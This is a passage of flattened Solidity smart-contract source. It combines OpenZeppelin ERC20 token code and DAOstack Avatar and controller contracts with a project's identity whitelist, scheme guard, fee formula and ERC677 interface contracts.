* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.5.0;
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
// File: @daostack/arc/contracts/controller/DAOToken.sol
pragma solidity ^0.5.4;
/**
* @title DAOToken, base on zeppelin contract.
* @dev ERC20 compatible token. It is a mintable, burnable token.
*/
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
// solhint-disable-next-line const-name-snakecase
uint8 public constant decimals = 18;
uint256 public cap;
/**
* @dev Constructor
* @param _name - token name
* @param _symbol - token symbol
* @param _cap - token cap - 0 value means no cap
*/
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
*/
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.5.0;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: @daostack/arc/contracts/libs/SafeERC20.sol
/*
SafeERC20 by daostack.
The code is based on a fix by SECBIT Team.
USE WITH CAUTION & NO WARRANTY
REFERENCE & RELATED READING
- https://github.com/ethereum/solidity/issues/4116
- https://medium.com/@chris_77367/explaining-unexpected-reverts-starting-with-solidity-0-4-22-3ada6e82308c
- https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
- https://gist.github.com/BrendanChou/88a2eeb80947ff00bcf58ffdafeaeb61
*/
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
// Must be a contract addr first!
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
// solhint-disable-next-line avoid-low-level-calls
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
// call return false when something wrong
require(success);
//check return value
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
// Must be a contract addr first!
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
// solhint-disable-next-line avoid-low-level-calls
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
// call return false when something wrong
require(success);
//check return value
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
// Must be a contract addr first!
require(_erc20Addr.isContract());
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero.
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
// solhint-disable-next-line avoid-low-level-calls
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
// call return false when something wrong
require(success);
//check return value
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
// File: @daostack/arc/contracts/controller/Avatar.sol
pragma solidity ^0.5.4;
/**
* @title An Avatar holds tokens, reputation and ether for a controller
*/
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
/**
* @dev the constructor takes organization name, native token and reputation system
and creates an avatar for a controller
*/
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
/**
* @dev enables an avatar to receive ethers
*/
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @param _value value (ETH) to transfer with the transaction
* @return bool success or fail
* bytes - the return bytes of the called contract's function.
*/
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
// solhint-disable-next-line avoid-call-value
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
/**
* @dev send ethers from the avatar's wallet
* @param _amountInWei amount to send in Wei units
* @param _to send the ethers to this address
* @return bool which represents success
*/
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
/**
* @dev external token transfer
* @param _externalToken the token contract
* @param _to the destination address
* @param _value the amount of tokens to transfer
* @return bool which represents success
*/
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
/**
* @dev external token transfer from a specific account
* @param _externalToken the token contract
* @param _from the account to spend token from
* @param _to the destination address
* @param _value the amount of tokens to transfer
* @return bool which represents success
*/
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
/**
* @dev externalTokenApproval approve the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _value the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
/**
* @dev metaData emits an event with a string, should contain the hash of some meta data.
* @param _metaData a string representing a hash of the meta data
* @return bool which represents a success
*/
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
// File: @daostack/arc/contracts/globalConstraints/GlobalConstraintInterface.sol
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
/**
* @dev when return if this globalConstraints is pre, post or both.
* @return CallPhase enum indication Pre, Post or PreAndPost.
*/
function when() public returns(CallPhase);
}
// File: @daostack/arc/contracts/controller/ControllerInterface.sol
pragma solidity ^0.5.4;
/**
* @title Controller contract
* @dev A controller controls the organizations tokens ,reputation and avatar.
* It is subject to a set of schemes and constraints that determine its behavior.
* Each scheme has it own parameters and operation permissions.
*/
interface ControllerInterface {
/**
* @dev Mint `_amount` of reputation that are assigned to `_to` .
* @param _amount amount of reputation to mint
* @param _to beneficiary address
* @return bool which represents a success
*/
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
/**
* @dev Burns `_amount` of reputation from `_from`
* @param _amount amount of reputation to burn
* @param _from The address that will lose the reputation
* @return bool which represents a success
*/
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
/**
* @dev mint tokens .
* @param _amount amount of token to mint
* @param _beneficiary beneficiary address
* @param _avatar address
* @return bool which represents a success
*/
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
/**
* @dev register or update a scheme
* @param _scheme the address of the scheme
* @param _paramsHash a hashed configuration of the usage of the scheme
* @param _permissions the permissions the new scheme will have
* @param _avatar address
* @return bool which represents a success
*/
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
/**
* @dev unregister a scheme
* @param _avatar address
* @param _scheme the address of the scheme
* @return bool which represents a success
*/
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
/**
* @dev unregister the caller's scheme
* @param _avatar address
* @return bool which represents a success
*/
function unregisterSelf(address _avatar) external returns(bool);
/**
* @dev add or update Global Constraint
* @param _globalConstraint the address of the global constraint to be added.
* @param _params the constraint parameters hash.
* @param _avatar the avatar of the organization
* @return bool which represents a success
*/
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
/**
* @dev remove Global Constraint
* @param _globalConstraint the address of the global constraint to be remove.
* @param _avatar the organization avatar.
* @return bool which represents a success
*/
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
/**
* @dev upgrade the Controller
* The function will trigger an event 'UpgradeController'.
* @param _newController the address of the new controller.
* @param _avatar address
* @return bool which represents a success
*/
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @param _avatar the controller's avatar address
* @param _value value (ETH) to transfer with the transaction
* @return bool -success
* bytes - the return value of the called _contract's function.
*/
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
/**
* @dev send some ether
* @param _amountInWei the amount of ether (in Wei) to send
* @param _to address of the beneficiary
* @param _avatar address
* @return bool which represents a success
*/
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
/**
* @dev send some amount of arbitrary ERC20 Tokens
* @param _externalToken the address of the Token Contract
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
/**
* @dev transfer token "from" address "to" address
* One must to approve the amount of tokens which can be spend from the
* "from" account.This can be done using externalTokenApprove.
* @param _externalToken the address of the Token Contract
* @param _from address of the account to send from
* @param _to address of the beneficiary
* @param _value the amount of ether (in Wei) to send
* @param _avatar address
* @return bool which represents a success
*/
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
/**
* @dev externalTokenApproval approve the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _value the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
/**
* @dev metaData emits an event with a string, should contain the hash of some meta data.
* @param _metaData a string representing a hash of the meta data
* @param _avatar Avatar
* @return bool which represents a success
*/
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
/**
* @dev getNativeReputation
* @param _avatar the organization avatar.
* @return organization native reputation
*/
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
/**
* @dev globalConstraintsCount return the global constraint pre and post count
* @return uint256 globalConstraintsPre count.
* @return uint256 globalConstraintsPost count.
*/
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
// File: contracts/dao/schemes/SchemeGuard.sol
pragma solidity >0.5.4;
/* @dev abstract contract for ensuring that schemes have been registered properly
* Allows setting zero Avatar in situations where the Avatar hasn't been created yet
*/
contract SchemeGuard is Ownable {
Avatar avatar;
ControllerInterface internal controller = ControllerInterface(0);
/** @dev Constructor. only sets controller if given avatar is not null.
* @param _avatar The avatar of the DAO.
*/
constructor(Avatar _avatar) public {
avatar = _avatar;
if (avatar != Avatar(0)) {
controller = ControllerInterface(avatar.owner());
}
}
/** @dev modifier to check if caller is avatar
*/
modifier onlyAvatar() {
require(address(avatar) == msg.sender, "only Avatar can call this method");
_;
}
/** @dev modifier to check if scheme is registered
*/
modifier onlyRegistered() {
require(isRegistered(), "Scheme is not registered");
_;
}
/** @dev modifier to check if scheme is not registered
*/
modifier onlyNotRegistered() {
require(!isRegistered(), "Scheme is registered");
_;
}
/** @dev modifier to check if call is a scheme that is registered
*/
modifier onlyRegisteredCaller() {
require(isRegistered(msg.sender), "Calling scheme is not registered");
_;
}
/** @dev Function to set a new avatar and controller for scheme
* can only be done by owner of scheme
*/
function setAvatar(Avatar _avatar) public onlyOwner {
avatar = _avatar;
controller = ControllerInterface(avatar.owner());
}
/** @dev function to see if an avatar has been set and if this scheme is registered
* @return true if scheme is registered
*/
function isRegistered() public view returns (bool) {
return isRegistered(address(this));
}
/** @dev function to see if an avatar has been set and if this scheme is registered
* @return true if scheme is registered
*/
function isRegistered(address scheme) public view returns (bool) {
require(avatar != Avatar(0), "Avatar is not set");
if (!(controller.isSchemeRegistered(scheme, address(avatar)))) {
return false;
}
return true;
}
}
// File: contracts/identity/IdentityAdminRole.sol
pragma solidity >0.5.4;
/**
* @title Contract managing the identity admin role
*/
contract IdentityAdminRole is Ownable {
using Roles for Roles.Role;
event IdentityAdminAdded(address indexed account);
event IdentityAdminRemoved(address indexed account);
Roles.Role private IdentityAdmins;
/* @dev constructor. Adds caller as an admin
*/
constructor() internal {
_addIdentityAdmin(msg.sender);
}
/* @dev Modifier to check if caller is an admin
*/
modifier onlyIdentityAdmin() {
require(isIdentityAdmin(msg.sender), "not IdentityAdmin");
_;
}
/**
* @dev Checks if account is identity admin
* @param account Account to check
* @return Boolean indicating if account is identity admin
*/
function isIdentityAdmin(address account) public view returns (bool) {
return IdentityAdmins.has(account);
}
/**
* @dev Adds a identity admin account. Is only callable by owner.
* @param account Address to be added
* @return true if successful
*/
function addIdentityAdmin(address account) public onlyOwner returns (bool) {
_addIdentityAdmin(account);
return true;
}
/**
* @dev Removes a identity admin account. Is only callable by owner.
* @param account Address to be removed
* @return true if successful
*/
function removeIdentityAdmin(address account) public onlyOwner returns (bool) {
_removeIdentityAdmin(account);
return true;
}
/**
* @dev Allows an admin to renounce their role
*/
function renounceIdentityAdmin() public {
_removeIdentityAdmin(msg.sender);
}
/**
* @dev Internal implementation of addIdentityAdmin
*/
function _addIdentityAdmin(address account) internal {
IdentityAdmins.add(account);
emit IdentityAdminAdded(account);
}
/**
* @dev Internal implementation of removeIdentityAdmin
*/
function _removeIdentityAdmin(address account) internal {
IdentityAdmins.remove(account);
emit IdentityAdminRemoved(account);
}
}
// File: contracts/identity/Identity.sol
pragma solidity >0.5.4;
/* @title Identity contract responsible for whitelisting
* and keeping track of amount of whitelisted users
*/
contract Identity is IdentityAdminRole, SchemeGuard, Pausable {
using Roles for Roles.Role;
using SafeMath for uint256;
Roles.Role private blacklist;
Roles.Role private whitelist;
Roles.Role private contracts;
uint256 public whitelistedCount = 0;
uint256 public whitelistedContracts = 0;
uint256 public authenticationPeriod = 14;
mapping(address => uint256) public dateAuthenticated;
mapping(address => uint256) public dateAdded;
mapping(address => string) public addrToDID;
mapping(bytes32 => address) public didHashToAddress;
event BlacklistAdded(address indexed account);
event BlacklistRemoved(address indexed account);
event WhitelistedAdded(address indexed account);
event WhitelistedRemoved(address indexed account);
event ContractAdded(address indexed account);
event ContractRemoved(address indexed account);
constructor() public SchemeGuard(Avatar(0)) {}
/* @dev Sets a new value for authenticationPeriod.
* Can only be called by Identity Administrators.
* @param period new value for authenticationPeriod
*/
function setAuthenticationPeriod(uint256 period) public onlyOwner whenNotPaused {
authenticationPeriod = period;
}
/* @dev Sets the authentication date of `account`
* to the current time.
* Can only be called by Identity Administrators.
* @param account address to change its auth date
*/
function authenticate(address account)
public
onlyRegistered
onlyIdentityAdmin
whenNotPaused
{
dateAuthenticated[account] = now;
}
/* @dev Adds an address as whitelisted.
* Can only be called by Identity Administrators.
* @param account address to add as whitelisted
*/
function addWhitelisted(address account)
public
onlyRegistered
onlyIdentityAdmin
whenNotPaused
{
_addWhitelisted(account);
}
/* @dev Adds an address as whitelisted under a specific ID
* @param account The address to add
* @param did the ID to add account under
*/
function addWhitelistedWithDID(address account, string memory did)
public
onlyRegistered
onlyIdentityAdmin
whenNotPaused
{
_addWhitelistedWithDID(account, did);
}
/* @dev Removes an address as whitelisted.
* Can only be called by Identity Administrators.
* @param account address to remove as whitelisted
*/
function removeWhitelisted(address account)
public
onlyRegistered
onlyIdentityAdmin
whenNotPaused
{
_removeWhitelisted(account);
}
/* @dev Renounces message sender from whitelisted
*/
function renounceWhitelisted() public whenNotPaused {
_removeWhitelisted(msg.sender);
}
/* @dev Returns true if given address has been added to whitelist
* @param account the address to check
* @return a bool indicating weather the address is present in whitelist
*/
function isWhitelisted(address account) public view returns (bool) {
uint256 daysSinceAuthentication = (now.sub(dateAuthenticated[account])) / 1 days;
return
(daysSinceAuthentication <= authenticationPeriod) && whitelist.has(account);
}
/* @dev Function that gives the date the given user was added
* @param account The address to check
* @return The date the address was added
*/
function lastAuthenticated(address account) public view returns (uint256) {
return dateAuthenticated[account];
}
// /**
// *
// * @dev Function to transfer whitelisted privilege to another address
// * relocates did of sender to give address
// * @param account The address to transfer to
// */
// function transferAccount(address account) public whenNotPaused {
// ERC20 token = avatar.nativeToken();
// require(!isBlacklisted(account), "Cannot transfer to blacklisted");
// require(token.balanceOf(account) == 0, "Account is already in use");
// require(isWhitelisted(msg.sender), "Requester need to be whitelisted");
// require(
// keccak256(bytes(addrToDID[account])) == keccak256(bytes("")),
// "address already has DID"
// );
// string memory did = addrToDID[msg.sender];
// bytes32 pHash = keccak256(bytes(did));
// uint256 balance = token.balanceOf(msg.sender);
// token.transferFrom(msg.sender, account, balance);
// _removeWhitelisted(msg.sender);
// _addWhitelisted(account);
// addrToDID[account] = did;
// didHashToAddress[pHash] = account;
// }
/* @dev Adds an address to blacklist.
* Can only be called by Identity Administrators.
* @param account address to add as blacklisted
*/
function addBlacklisted(address account)
public
onlyRegistered
onlyIdentityAdmin
whenNotPaused
{
blacklist.add(account);
emit BlacklistAdded(account);
}
/* @dev Removes an address from blacklist
* Can only be called by Identity Administrators.
* @param account address to remove as blacklisted
*/
function removeBlacklisted(address account)
public
onlyRegistered
onlyIdentityAdmin
whenNotPaused
{
blacklist.remove(account);
emit BlacklistRemoved(account);
}
/* @dev Function to add a Contract to list of contracts
* @param account The address to add
*/
function addContract(address account)
public
onlyRegistered
onlyIdentityAdmin
whenNotPaused
{
require(isContract(account), "Given address is not a contract");
contracts.add(account);
_addWhitelisted(account);
emit ContractAdded(account);
}
/* @dev Function to remove a Contract from list of contracts
* @param account The address to add
*/
function removeContract(address account)
public
onlyRegistered
onlyIdentityAdmin
whenNotPaused
{
contracts.remove(account);
_removeWhitelisted(account);
emit ContractRemoved(account);
}
/* @dev Function to check if given contract is on list of contracts.
* @param address to check
* @return a bool indicating if address is on list of contracts
*/
function isDAOContract(address account) public view returns (bool) {
return contracts.has(account);
}
/* @dev Internal function to add to whitelisted
* @param account the address to add
*/
function _addWhitelisted(address account) internal {
whitelist.add(account);
whitelistedCount += 1;
dateAdded[account] = now;
dateAuthenticated[account] = now;
if (isContract(account)) {
whitelistedContracts += 1;
}
emit WhitelistedAdded(account);
}
/* @dev Internal whitelisting with did function.
* @param account the address to add
* @param did the id to register account under
*/
function _addWhitelistedWithDID(address account, string memory did) internal {
bytes32 pHash = keccak256(bytes(did));
require(didHashToAddress[pHash] == address(0), "DID already registered");
addrToDID[account] = did;
didHashToAddress[pHash] = account;
_addWhitelisted(account);
}
/* @dev Internal function to remove from whitelisted
* @param account the address to add
*/
function _removeWhitelisted(address account) internal {
whitelist.remove(account);
whitelistedCount -= 1;
delete dateAuthenticated[account];
if (isContract(account)) {
whitelistedContracts -= 1;
}
string memory did = addrToDID[account];
bytes32 pHash = keccak256(bytes(did));
delete dateAuthenticated[account];
delete addrToDID[account];
delete didHashToAddress[pHash];
emit WhitelistedRemoved(account);
}
/* @dev Returns true if given address has been added to the blacklist
* @param account the address to check
* @return a bool indicating weather the address is present in the blacklist
*/
function isBlacklisted(address account) public view returns (bool) {
return blacklist.has(account);
}
/* @dev Function to see if given address is a contract
* @return true if address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 length;
assembly {
length := extcodesize(_addr)
}
return length > 0;
}
}
// File: contracts/identity/IdentityGuard.sol
pragma solidity >0.5.4;
/* @title The IdentityGuard contract
* @dev Contract containing an identity and
* modifiers to ensure proper access
*/
contract IdentityGuard is Ownable {
Identity public identity;
/* @dev Constructor. Checks if identity is a zero address
* @param _identity The identity contract.
*/
constructor(Identity _identity) public {
require(_identity != Identity(0), "Supplied identity is null");
identity = _identity;
}
/* @dev Modifier that requires the sender to be not blacklisted
*/
modifier onlyNotBlacklisted() {
require(!identity.isBlacklisted(msg.sender), "Caller is blacklisted");
_;
}
/* @dev Modifier that requires the given address to be not blacklisted
* @param _account The address to be checked
*/
modifier requireNotBlacklisted(address _account) {
require(!identity.isBlacklisted(_account), "Receiver is blacklisted");
_;
}
/* @dev Modifier that requires the sender to be whitelisted
*/
modifier onlyWhitelisted() {
require(identity.isWhitelisted(msg.sender), "is not whitelisted");
_;
}
/* @dev Modifier that requires the given address to be whitelisted
* @param _account the given address
*/
modifier requireWhitelisted(address _account) {
require(identity.isWhitelisted(_account), "is not whitelisted");
_;
}
/* @dev Modifier that requires the sender to be an approved DAO contract
*/
modifier onlyDAOContract() {
require(identity.isDAOContract(msg.sender), "is not whitelisted contract");
_;
}
/* @dev Modifier that requires the given address to be whitelisted
* @param _account the given address
*/
modifier requireDAOContract(address _contract) {
require(identity.isDAOContract(_contract), "is not whitelisted contract");
_;
}
/* @dev Modifier that requires the sender to have been whitelisted
* before or on the given date
* @param date The time sender must have been added before
*/
modifier onlyAddedBefore(uint256 date) {
require(
identity.lastAuthenticated(msg.sender) <= date,
"Was not added within period"
);
_;
}
/* @dev Modifier that requires sender to be an identity admin
*/
modifier onlyIdentityAdmin() {
require(identity.isIdentityAdmin(msg.sender), "not IdentityAdmin");
_;
}
/* @dev Allows owner to set a new identity contract if
* the given identity contract has been registered as a scheme
*/
function setIdentity(Identity _identity) public onlyOwner {
require(_identity.isRegistered(), "Identity is not registered");
identity = _identity;
}
}
// File: contracts/dao/schemes/FeeFormula.sol
pragma solidity >0.5.4;
/**
* @title Fee formula abstract contract
*/
contract AbstractFees is SchemeGuard {
constructor() public SchemeGuard(Avatar(0)) {}
function getTxFees(
uint256 _value,
address _sender,
address _recipient
) public view returns (uint256, bool);
}
/**
* @title Fee formula contract
* contract that provides a function to calculate
* fees as a percentage of any given value
*/
contract FeeFormula is AbstractFees {
using SafeMath for uint256;
uint256 public percentage;
bool public constant senderPays = false;
/**
* @dev Constructor. Requires the given percentage parameter
* to be less than 100.
* @param _percentage the percentage to calculate fees of
*/
constructor(uint256 _percentage) public {
require(_percentage < 100, "Percentage should be <100");
percentage = _percentage;
}
/** @dev calculates the fee of given value.
* @param _value the value of the transaction to calculate fees from
* @param _sender address sending.
* @param _recipient address receiving.
* @return the transactional fee for given value
*/
function getTxFees(
uint256 _value,
address _sender,
address _recipient
) public view returns (uint256, bool) {
return (_value.mul(percentage).div(100), senderPays);
}
}
// File: contracts/dao/schemes/FormulaHolder.sol
pragma solidity >0.5.4;
/* @title Contract in charge of setting registered fee formula schemes to contract
*/
contract FormulaHolder is Ownable {
AbstractFees public formula;
/* @dev Constructor. Requires that given formula is a valid contract.
* @param _formula The fee formula contract.
*/
constructor(AbstractFees _formula) public {
require(_formula != AbstractFees(0), "Supplied formula is null");
formula = _formula;
}
/* @dev Sets the given fee formula contract. Is only callable by owner.
* Reverts if formula has not been registered by DAO.
* @param _formula the new fee formula scheme
*/
function setFormula(AbstractFees _formula) public onlyOwner {
_formula.isRegistered();
formula = _formula;
}
}
// File: contracts/token/ERC677/ERC677.sol
pragma solidity >0.5.4;
/* @title ERC677 interface
*/
interface ERC677 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(
address,
uint256,
bytes calldata
) external returns (bool);
}
// File: contracts/token/ERC677/ERC677Receiver.sol
pragma solidity >0.5.4;
/* @title ERC677Receiver interface
*/
interface ERC677Receiver {
function onTokenTransfer(
address _from,
uint256 _value,
bytes calldata _data
) external returns (bool);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Pausable.sol
pragma solidity ^0.5.0;
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
// File: contracts/token/ERC677Token.sol
pragma solidity >0.5.4;
/* @title ERC677Token contract.
*/
